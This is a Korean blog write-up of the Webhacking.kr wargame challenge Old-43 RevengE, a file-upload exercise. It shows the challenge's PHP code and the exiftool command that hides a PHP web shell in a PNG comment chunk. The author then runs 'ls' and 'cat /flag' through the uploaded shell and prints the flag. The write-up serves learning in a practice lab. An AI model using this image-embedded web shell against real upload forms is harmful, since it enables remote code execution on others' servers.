Old-43 RevengE๐Ÿ˜ˆ Write-up

Ccr3tยท2025๋…„ 8์›” 11์ผ
0

Wargame

๋ชฉ๋ก ๋ณด๊ธฐ
40/55

[Solved in under 58 minutes]

๊ณ„์† ๊พธ์ค€ํžˆ ํ‡ด๊ทผํ•˜๊ณ ๋„ ๊ณต๋ถ€ํ•ด์•ผํ•œ๋‹ค..
์ž˜ ํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์ด ๋„ˆ๋ฌด ๋งŽ์•„์„œ ๋”์šฑ ์—ด์‹ฌํžˆ ํ•ด์•ผํ•œ๋‹ค....

๋ชจ๋“  ์ง์žฅ์ธ๋“ค ํ™”์ดํŒ…!

๊ฐ€๋ณด์ž

<html>
<head>
<title>Challenge 43 RevengE</title>
</head>
<body>
<hr>
You must upload webshell and cat <b>/flag</b>
<hr>
<?php
  if(isset($_FILES['file'])){
    $type = $_FILES['file']['type'];
    $name = $_FILES['file']['name'];
    if(!$type) { exit("type not detected"); }
    if(preg_match("/\.\.|\/|\\\|\.htaccess/",$name)) exit("dont do that");
    if(preg_match("/text\/|application\/octet-stream/i",$type)) exit("wrong type");
    $image = new Imagick();
    $image->readImage($_FILES['file']['tmp_name']);
    $image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
    $image->writeImage("./upload/".$name);
    echo "Done!<br><br><a href=./upload/{$name}>./upload/{$name}</a>";
  }
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input name=file type=file><input type=submit>
</form>
<hr><?php highlight_file(__FILE__); ?>
</body>
</html>

์ผ๋‹จ์€ ๋ˆ„๊ฐ€๋ด๋„ ํŒŒ์ผ ์—…๋กœ๋“œ ์ทจ์•ฝ์ ์ด๋‹ค ๊ทธ๋ฆฌ๊ณ  ์ฝ”๋“œ๋ฅผ ๋ฐ”๋กœ ๋ณด์—ฌ์ค€๋‹ค.

์ฝ”๋“œ๋ฅผ ๊ฐ„๋‹จํ•˜๊ฒŒ ํ•ด์„ํ•˜๋ฉด ../, \, .htaccess ๋Š” ํ•„ํ„ฐ๋ง์— ๊ฑธ๋ฆฌ๊ณ  ์ถ”๊ฐ€๋กœ MIMEํƒ€์ž…์ด application, octet-stream, text ์ด๋ฉด ๊ฑธ๋ฆฐ๋‹ค

๊ทธ๋ฆฌ๊ณ  ๋ฐ‘์— $image๋กœ ํŒŒ์ผ์„ ์ฝ๊ณ  ์“ฐ๋Š”? ๊ทธ๋Ÿฐ๊ฑฐ๋ผ ์ƒ๊ฐํ•œ๋‹ค. ์†”์งํžˆ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค.

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ์ ์€ .php ํ™•์žฅ์ž๋Š” ํ•„ํ„ฐ๋ง์„ ํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ

์ผ๋‹จ ํ•ด๋ณด์ž

๊ทธ๋ƒฅ ์•„๋ฌด phpํŒŒ์ผ์„ ์˜ฌ๋ ค๋ดค๋Š”๋ฐ ์—ญ์‹œ๋‚˜ ์•ˆ๋๋‹ค ์•„๋ฌด๋ž˜๋„ MIME ํƒ€์ž…์ด application/text etc.. ์ด๋Ÿฐ๊ฑธ๋กœ ๋“ค์–ด๊ฐ”์„๊ฑฐ๋ผ๊ณ  ์˜ˆ์ƒ์ด๋œ๋‹ค

๊ทธ๋ฆฌํ•˜์—ฌ ๋‹ค๋ฅธ ํ…Œ์ŠคํŠธ๋„ ์ง„ํ–‰ํ–ˆ๋‹ค

MIME ํƒ€์ž…์„ image/png๋กœ ๋ฐ”๊ฟ”์ฃผ๊ณ  png์˜ ๋งค์ง๋„˜๋ฒ„๊นŒ์ง€ ๋„ฃ์–ด ์คฌ๋Š”๋ฐ

์ ‘์†ํ•˜๋‹ˆ 404๊ฐ€ ๋œฌ๋‹ค

์—ฌ๊ธฐ์„œ๋ถ€ํ„ฐ ๋งจ๋•…์— ํ—ค๋”ฉ์„ ์กฐ๊ธˆ ์—ฌ๋Ÿฌ๋ฒˆ ํ•˜๋‹ค๊ฐ€ ํ›Œ๋ฅญํ•œ ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค.

์ด๋ฏธ์ง€์—๋Š” ์ฒญํฌ๋ผ๊ณ  ์œ ํšจํ•œ ๋ฐ์ดํ„ฐ๋“ค์ด ๋ธ”๋ก๋‹จ์œ„๋กœ ์žˆ๋Š”๊ฒƒ์ด ์žˆ๋‹ค.

์•„๋ฌด๋ž˜๋„ ๊ทธ ๋ถ€๋ถ„ ์ด์™ธ์—๋Š” ์ทจ๊ธ‰์„ ์•ˆํ•œ๋‹ค๊ณ  ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ํˆด์„ ์•Œ์•„๋ณด๋‹ค๊ฐ€ exiftool ๋ผ๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค.
์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์œ ํšจํ•œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ฒญํฌ ์•ˆ์— ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ํ•ด์„œ ๋ฐ”๋กœ ํ•ด ๋ดค๋‹ค.

์•ฝ๊ฐ„ ์Šคํ…Œ๊ฐ€๋…ธ๊ทธ๋ž˜ํ”ผ๋ฅผ ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ๋งŒ ๊ฐ™๋‹ค. ํ•ด๋ณด๊ณ  ์‹ถ๋‹ค..

anyway

ํ•ด๋ณด์ž

convert -size 1x1 xc:white aa.png

์ด๋ฏธ์ง€๋ฅผ ํ•˜๋‚˜ ์ƒ์„ฑํ•ด์ฃผ๊ณ 

exiftool -PNG:Comment='<?php system($_GET["cmd"]); ?>' -overwrite_original aa.png

์ด๋ฏธ์ง€ ์ฒญํฌ์•ˆ์— <\?php system($_GET["cmd"]); ?> ์ฝ”๋“œ ์‚ฝ์ž…ํ•ด์ฃผ๋ฉด

์ž˜ ๋“ค์–ด๊ฐ„ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

MIME ํƒ€์ž…์„ ์ด๋ฏธ์ง€๋กœ ๋ฐ”๊ฟ”์ฃผ๋‹ˆ

ํ•„ํ„ฐ๋ง์— ๊ฑธ๋ฆฌ์ง€๋„ ์•Š๊ณ  ์ž˜ ๋“ค์–ด๊ฐ”๋‹ค!

?cmd=ls

๋ช…๋ น์–ด๊ฐ€ ์ž˜ ๋จนํžˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
๋ช…๋ น์–ด๊ฐ€ ์ฒญํฌ์•ˆ ์ค‘๊ฐ„? ์ฏค์— ์œ„์น˜ํ•˜๋‹ค๋ณด๋‹ˆ ์•ž๋’ค๋กœ ์ด๋ฏธ์ง€์˜ ๋ฐ์ดํ„ฐ๋“ค์ด ๋ณด์ด์ง€๋งŒ ์‹ ๊ฒฝ์•ˆ์จ๋„ ๋œ๋‹ค.

flag๋Š” /flag ๊ฒฝ๋กœ์— ์žˆ๋‹ค๊ณ  ํ•˜๋‹ˆ

?cmd=cat /flag

๋„ฃ์–ด์ฃผ๋‹ˆ ๋ฐ”๋กœ ์ž˜ ๋ณด์ธ๋‹ค..

์ด๊ฑฐ ์ด๋ ‡๊ฒŒ ์‰ฝ๊ฒŒ ํ‘ธ๋Š”๊ฑฐ ๋งž๋‚˜ ์‹ถ๋‹ค.

ใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…ก ๋‹ต ใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…ก

FLAG{thank_you_q-roland}

ใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…กใ…ก

์•ผ~ํ˜ธ!!!! 150์ !!! ๊ทผ๋ฐ ๊ฐœ์ธ์ ์œผ๋กœ 150์  ๊ธ‰์ธ ๋А๋‚Œ์ด ๋ณ„๋กœ ์•ˆ๋“ญ๋‹ˆ๋‹ค..
์‚ฝ์งˆํ•œ๊ฑฐ ์ƒ๊ฐํ•ด๋„ 50์ ..? ๋‚ด๊ฐ€ ์ด ๋ฌธ์ œ์˜ ํ•ต์‹ฌ์›๋ฆฌ๋ฅผ ์ž˜ ๋ชฐ๋ผ์„œ ๊ทธ๋Ÿฐ๊ฑธ์ˆ˜๋„..!?
๋ญ ์–ด๋•Œ ์žฌ๋ฐŒ์œผ๋ฉด ๋์ง€

Webhacking.kr Old-43 RevengE๐Ÿ˜ˆ Write-up

์ด์ƒ ๋ณด๊ณ  ๋!

profile
์›นํ•ดํ‚น์„ ์ž˜ ๋ชป ํ•˜์ง€๋งŒ ์ข‹์•„ ํ•˜๋ ค๊ณ  ๋…ธ๋ ฅํ•˜๋Š” ํ•œ ์ Š์€์ด.

0๊ฐœ์˜ ๋Œ“๊ธ€